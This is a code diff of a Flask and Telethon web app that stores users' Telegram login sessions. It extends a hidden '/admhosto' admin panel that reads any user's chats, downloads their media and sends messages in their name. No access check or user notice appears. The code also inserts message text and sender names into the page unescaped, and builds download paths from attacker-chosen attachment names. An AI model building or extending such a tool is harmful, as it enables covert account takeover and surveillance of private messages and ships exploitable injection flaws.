+ <button class="load-more-btn" id="admLoadMoreMessagesBtn" style="display:none;">Load More Messages</button>
772
+ </div>
773
  </div>
774
 
775
  <div class="back-button"><a href="/admhosto">Back to Admin Panel</a></div>
776
  </div>
777
  <script>
778
+ let currentAdminChatId = null;
779
+ let currentAdminNextOffsetId = null;
780
+ const ADMIN_MESSAGES_LIMIT = 30;
781
+
782
  function clearChatSelection() {
783
  document.getElementById('messageViewer').style.display = 'none';
784
  document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
785
+ currentAdminChatId = null;
786
+ currentAdminNextOffsetId = null;
787
  }
788
 
789
  async function selectChat(userId, chatId, chatTitle) {
790
+ currentAdminChatId = chatId;
791
+ currentAdminNextOffsetId = null;
792
+
793
  document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
794
  document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
795
 
796
  document.getElementById('messageViewer').style.display = 'block';
797
  document.getElementById('messagesChatTitle').textContent = `Messages in "${chatTitle}"`;
798
+ document.getElementById('messagesContainer').innerHTML = '';
799
+ document.getElementById('admLoadMoreMessagesBtn').style.display = 'none';
800
+
801
+ await fetchAdminMessages(userId, chatId);
802
+ }
803
+
804
+ async function fetchAdminMessages(userId, chatId, offsetId = null) {
805
  const messagesContainer = document.getElementById('messagesContainer');
806
+ const loadMoreBtn = document.getElementById('admLoadMoreMessagesBtn');
807
 
808
+ if (!offsetId) {
809
+ messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">Loading messages...</p>';
810
+ loadMoreBtn.style.display = 'none';
811
+ } else {
812
+ loadMoreBtn.textContent = 'Loading...';
813
+ loadMoreBtn.disabled = true;
814
+ }
815
+
816
+ const url = `/admhosto/user/${userId}/chat/${chatId}/messages?limit=${ADMIN_MESSAGES_LIMIT}${offsetId ? '&offset_id=' + offsetId : ''}`;
817
+ const response = await fetch(url);
818
  const result = await response.json();
819
+
820
+ if (!offsetId) {
821
+ messagesContainer.innerHTML = '';
822
+ }
823
+
824
  if (result.success && result.messages) {
825
  result.messages.reverse().forEach(msg => {
826
  const messageItem = document.createElement('div');
827
  messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;
828
  let senderInfo = !msg.is_sent ? `<span class="message-sender">${msg.sender_name}</span>` : '';
829
+ let textHtml = msg.text ? `<div class="message-text">${msg.text.replace(/\\n/g, '<br>')}</div>` : '';
830
+ let mediaHtml = '';
831
+
832
+ if (msg.file_name) {
833
+ const downloadLink = `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>`;
834
+ if (msg.is_image) {
835
+ mediaHtml = `<img src="/download/${msg.file_name}" class="media-image" alt="Attached Image">${downloadLink}`;
836
+ } else {
837
+ mediaHtml = downloadLink;
838
+ }
839
+ }
840
+ let emptyMsgHtml = !msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : '';
841
+ let metaHtml = `<div class="message-meta">${msg.date}</div>`;
842
+
843
+ messageItem.innerHTML = `${senderInfo}${textHtml}${mediaHtml}${emptyMsgHtml}${metaHtml}`;
844
  messagesContainer.prepend(messageItem);
845
  });
846
+
847
+ currentAdminNextOffsetId = result.next_offset_id;
848
+ if (currentAdminNextOffsetId) {
849
+ loadMoreBtn.style.display = 'block';
850
+ loadMoreBtn.textContent = 'Load More Messages';
851
+ loadMoreBtn.disabled = false;
852
+ } else {
853
+ loadMoreBtn.style.display = 'none';
854
+ }
855
+
856
+ if (!offsetId) {
857
+ messagesContainer.scrollTop = messagesContainer.scrollHeight;
858
+ }
859
  } else {
860
+ if (!offsetId) {
861
+ messagesContainer.innerHTML = `<p style="text-align: center; color: #777;">${result.message || 'No messages found.'}</p>`;
862
+ } else {
863
+ messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">No more messages.</p>' + messagesContainer.innerHTML;
864
+ loadMoreBtn.style.display = 'none';
865
+ }
866
  }
867
  }
868
 
869
+ document.getElementById('admLoadMoreMessagesBtn').addEventListener('click', () => {
870
+ if (currentAdminChatId && currentAdminNextOffsetId) {
871
+ fetchAdminMessages({{ user.id }}, currentAdminChatId, currentAdminNextOffsetId);
872
+ }
873
+ });
874
+
875
  async function sendMessage(userId) {
876
  const chatId = document.getElementById('sendMessageRecipient').value;
877
  const message = document.getElementById('sendMessageContent').value;
878
  if (!chatId || !message.trim()) { alert('Recipient and message are required.'); return; }
879
+
880
  const response = await fetch(`/admhosto/send_message/${userId}`, {
881
  method: 'POST',
882
  headers: { 'Content-Type': 'application/json' },
 
884
  });
885
  const result = await response.json();
886
  alert(result.message);
887
+ if (result.success && currentAdminChatId == chatId) {
888
+ currentAdminNextOffsetId = null;
889
+ await fetchAdminMessages(userId, currentAdminChatId);
890
+ } else if (result.success) {
891
  document.getElementById('sendMessageRecipient').value = '';
892
  document.getElementById('sendMessageContent').value = '';
893
  }
 
918
  });
919
  const result = await response.json();
920
  alert(result.message);
921
+ if (result.success && currentAdminChatId == chatId) {
922
+ currentAdminNextOffsetId = null;
923
+ await fetchAdminMessages(userId, currentAdminChatId);
924
+ }
925
  }
926
 
927
  async function joinChat(userId) {
 
959
  session_hash = hashlib.md5(phone.encode()).hexdigest()
960
  session_file_path = str(Path(SESSION_DIR) / f"{session_hash}.session")
961
 
 
962
  session['current_login_phone'] = phone
963
  session['current_login_session_file'] = session_file_path
964
 
 
976
  (str(me.id), me.username or '', session['current_login_phone'], session['current_login_session_file']))
977
  conn.commit()
978
  user_db_id = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
979
+ session['user_id'] = user_db_id
980
  result = {'success': True, 'message': 'Already logged in.', 'user_id': user_db_id}
981
  else:
982
  sent_code = await client.send_code_request(session['current_login_phone'])
 
1043
  client, error = await get_user_client(user_id)
1044
  if error: return
1045
  try:
1046
+ if client and client.is_connected():
1047
  await client.log_out()
1048
  except Exception:
1049
+ pass
1050
  finally:
1051
  if client and client.is_connected():
1052
  await client.disconnect()
 
1123
  user_id = session.get('user_id')
1124
  if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401
1125
 
1126
+ limit = int(request.args.get('limit', 30))
1127
+ offset_id = int(request.args.get('offset_id')) if request.args.get('offset_id') else 0
1128
+
1129
  async def _get_messages_async():
1130
  client, error = await get_user_client(user_id)
1131
+ if error: return None, None, error
1132
 
1133
  messages = []
1134
+ next_offset_id = None
1135
  try:
1136
  entity = await client.get_entity(peer_id)
1137
+ fetched_messages = []
1138
+ async for message in client.iter_messages(entity, limit=limit, offset_id=offset_id, reverse=False):
1139
+ fetched_messages.append(message)
1140
+
1141
+ if len(fetched_messages) == limit:
1142
+ next_offset_id = fetched_messages[-1].id
1143
+
1144
+ for message in fetched_messages:
1145
  msg_data = {
1146
  'text': message.text,
1147
  'date': message.date.strftime("%b %d, %H:%M"),
1148
  'is_sent': message.out,
1149
+ 'sender_name': 'Unknown',
1150
+ 'file_name': None,
1151
+ 'file_size': None,
1152
+ 'is_image': False
1153
  }
1154
  if message.sender:
1155
  if isinstance(message.sender, User):
 
1157
  elif hasattr(message.sender, 'title'):
1158
  msg_data['sender_name'] = message.sender.title
1159
  else:
1160
+ msg_data['sender_name'] = str(message.sender.id)
1161
 
1162
  if message.media:
1163
  try:
1164
+ temp_file_name_prefix = f"{message.id}_{datetime.datetime.now().strftime('%Y%m%d%H%M%S')}"
1165
+ file_ext = ''
1166
  if hasattr(message.media, 'document') and hasattr(message.media.document, 'attributes'):
1167
  for attr in message.media.document.attributes:
1168
  if hasattr(attr, 'file_name'):
1169
  file_name = attr.file_name
1170
+ file_ext = Path(file_name).suffix.lower()
1171
  break
1172
  elif hasattr(message.media, 'photo') and hasattr(message.media.photo, 'id'):
1173
+ file_name = f"photo_{message.media.photo.id}.jpg"
1174
+ file_ext = '.jpg'
1175
+
1176
+ if not file_name:
1177
+ file_name = f"{temp_file_name_prefix}.unknown"
1178
+ if hasattr(message.media, 'mime_type') and message.media.mime_type:
1179
+ file_name = f"{temp_file_name_prefix}.{message.media.mime_type.split('/')[-1].replace('+', '.')}"
1180
+
1181
+ full_download_path = Path(DOWNLOAD_DIR) / file_name
1182
+ file_info = await client.download_media(message, file=full_download_path)
1183
 
 
1184
  if file_info:
1185
+ file_path_obj = Path(file_info)
1186
+ msg_data['file_name'] = file_path_obj.name
1187
+
1188
+ detected_img_type = imghdr.what(file_path_obj)
1189
+ if detected_img_type:
1190
+ msg_data['is_image'] = True
1191
+
1192
+ file_size = os.path.getsize(file_path_obj)
1193
  msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes"
1194
  except Exception as media_e:
1195
  msg_data['file_name'] = f"Download failed: {media_e}"
1196
  messages.append(msg_data)
1197
  except Exception as e:
1198
+ return None, None, str(e)
1199
  finally:
1200
  if client and client.is_connected():
1201
  await client.disconnect()
1202
+ return messages, next_offset_id, None
1203
 
1204
+ messages, next_offset_id, error = asyncio.run(_get_messages_async())
1205
  if error:
1206
  return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500
1207
 
1208
+ return jsonify({'success': True, 'messages': messages, 'next_offset_id': next_offset_id})
1209
 
1210
  @app.route('/api/send_message', methods=['POST'])
1211
  def api_send_message():
 
1294
 
1295
  @app.route('/download/<path:filename>')
1296
  def download_file(filename):
1297
+ return send_from_directory(DOWNLOAD_DIR, filename, as_attachment=False) # Changed to False to allow direct viewing in browser
1298
 
1299
  @app.route('/admhosto')
1300
  def admhosto_index():
 
1340
 
1341
  @app.route('/admhosto/user/<int:user_id>/chat/<int:peer_id>/messages')
1342
  def admhosto_get_chat_messages(user_id, peer_id):
1343
+ limit = int(request.args.get('limit', 30))
1344
+ offset_id = int(request.args.get('offset_id')) if request.args.get('offset_id') else 0
1345
+
1346
  async def _get_messages_async():
1347
  client, error = await get_user_client(user_id)
1348
+ if error: return None, None, error
1349
  messages = []
1350
+ next_offset_id = None
1351
  try:
1352
  entity = await client.get_entity(peer_id)
1353
+ fetched_messages = []
1354
+ async for message in client.iter_messages(entity, limit=limit, offset_id=offset_id, reverse=False):
1355
+ fetched_messages.append(message)
1356
+
1357
+ if len(fetched_messages) == limit:
1358
+ next_offset_id = fetched_messages[-1].id
1359
+
1360
+ for message in fetched_messages:
1361
+ msg_data = {
1362
+ 'text': message.text,
1363
+ 'date': message.date.strftime("%b %d, %H:%M"),
1364
+ 'is_sent': message.out,
1365
+ 'sender_name': 'Unknown',
1366
+ 'file_name': None,
1367
+ 'file_size': None,
1368
+ 'is_image': False
1369
+ }
1370
  if message.sender:
1371
  if isinstance(message.sender, User):
1372
  msg_data['sender_name'] = (f"{message.sender.first_name or ''} {message.sender.last_name or ''}").strip() or message.sender.username or "User"
 
1377
 
1378
  if message.media:
1379
  try:
1380
+ temp_file_name_prefix = f"{message.id}_{datetime.datetime.now().strftime('%Y%m%d%H%M%S')}"
1381
+ file_ext = ''
1382
  if hasattr(message.media, 'document') and hasattr(message.media.document, 'attributes'):
1383
  for attr in message.media.document.attributes:
1384
  if hasattr(attr, 'file_name'):
1385
  file_name = attr.file_name
1386
+ file_ext = Path(file_name).suffix.lower()
1387
  break
1388
  elif hasattr(message.media, 'photo') and hasattr(message.media.photo, 'id'):
1389
  file_name = f"photo_{message.media.photo.id}.jpg"
1390
+ file_ext = '.jpg'
1391
+
1392
+ if not file_name:
1393
+ file_name = f"{temp_file_name_prefix}.unknown"
1394
+ if hasattr(message.media, 'mime_type') and message.media.mime_type:
1395
+ file_name = f"{temp_file_name_prefix}.{message.media.mime_type.split('/')[-1].replace('+', '.')}"
1396
+
1397
+ full_download_path = Path(DOWNLOAD_DIR) / file_name
1398
+ file_info = await client.download_media(message, file=full_download_path)
1399
 
 
1400
  if file_info:
1401
+ file_path_obj = Path(file_info)
1402
+ msg_data['file_name'] = file_path_obj.name
1403
+
1404
+ detected_img_type = imghdr.what(file_path_obj)
1405
+ if detected_img_type:
1406
+ msg_data['is_image'] = True
1407
+
1408
+ file_size = os.path.getsize(file_path_obj)
1409
  msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes"
1410
  except Exception as media_e:
1411
  msg_data['file_name'] = f"Download failed: {media_e}"
1412
  messages.append(msg_data)
1413
  except Exception as e:
1414
+ return None, None, str(e)
1415
  finally:
1416
  if client and client.is_connected(): await client.disconnect()
1417
+ return messages, next_offset_id, None
1418
 
1419
+ messages, next_offset_id, error = asyncio.run(_get_messages_async())
1420
  if error: return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500
1421
+ return jsonify({'success': True, 'messages': messages, 'next_offset_id': next_offset_id})
1422
 
1423
  @app.route('/admhosto/send_message/<int:user_id>', methods=['POST'])
1424
  def admhosto_send_message(user_id):